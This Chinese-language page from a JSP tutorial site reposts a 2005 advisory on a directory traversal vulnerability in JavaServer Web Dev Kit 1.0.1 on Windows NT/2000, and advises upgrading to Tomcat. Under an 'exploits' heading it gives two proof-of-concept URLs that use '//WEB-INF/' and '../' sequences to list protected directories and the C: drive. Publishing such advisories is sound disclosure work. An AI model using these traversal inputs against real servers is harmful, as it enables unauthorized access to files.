JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞

<%-- JSP全站自动生成HTML下载新闻系统 V3.1 作者：JSP天空网站长曹进 QQ：173241393 --%> JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞

	技术文摘： JSP基础 \| JSP高级 \| JSP环境 \| JAVA基础 \| JAVA高级 \| JAVA工具 \| JAVA数据库 \| WEB框架 \| XML相关 \| JAVA考试 \| J2EE相关 \| J2ME相关 \|
	视频下载：程序设计│ 数据库相关教程│计算机基础教程│ 图形图像│ 网络技术│ 网络安全│时空书库│EasyShop│虚拟主机│JSP培训│技术论坛│
	书籍教程： JSP教程│ Java教程│ 图像软件│ XML教程 │ 数据库教程│ 网页教程│ 工具软件│ 服务器相关│ ASP教程│ PHP教程│ CGI教程│ .NET教程│
	代码下载： ASP代码下载│ JSP代码下载│ PHP代码下载│ CGI代码下载│ Flash代码│ C/C++/VC│ PowerBuilder│ Delphi│ VisualBasic│ VisualFoxpro│

您的位置：首页 -> 文章分类 -> JSP环境 -> JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞

　文摘搜索

　文摘资源分类

　文摘总排行榜TOP10

　最新更新文摘TOP10

JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞

[来源]www.jspsky.com管理员　　 [作者]网络文摘　　 [时间]2005-2-21

推荐等级：点击：

涉及程序：
JavaServer Web Dev Kit(JSWDK)
描述：
JavaServer Web Dev Kit(JSWDK) for win2000 目录遍历漏洞
详细：
发现装了 JavaServer Web Dev Kit(JSWDK)1.0.1 的 WINDOWS NT/2000 系统存在漏洞，
攻击者通过构造特殊的 URL 请求能访问未授权文件。
exploits:
http://localhost:8080/examples//WEB-INF/
会列出 /WEB-INF/ 目录 .
http://localhost:8080/../examples//WEB-INF/../../../../../
如果 JSWDK 被装在 c: ，此请求将会列出 c: 下所有目录和文件
受影响系统：
JavaServer Web Dev Kit(JSWDK)1.0.1 for win2000
解决方案：
CNNS 建议您升级 JSWDK 版本
建议您升级到tomcat.

关于我们︱软件分类︱广告服务︱汇款方式︱信息帮助︱发布源码

在线咨询服务

在线咨询服务

在线咨询服务

在线咨询服务

Copyright©2005-2006陕西思远数码科技有限责任公司服务电话：029-88212987 传真：029-88278265 售后服务QQ:173241393

地址：陕西省西安市吉祥路186号太白新苑C座2104 陕ICP备05004508号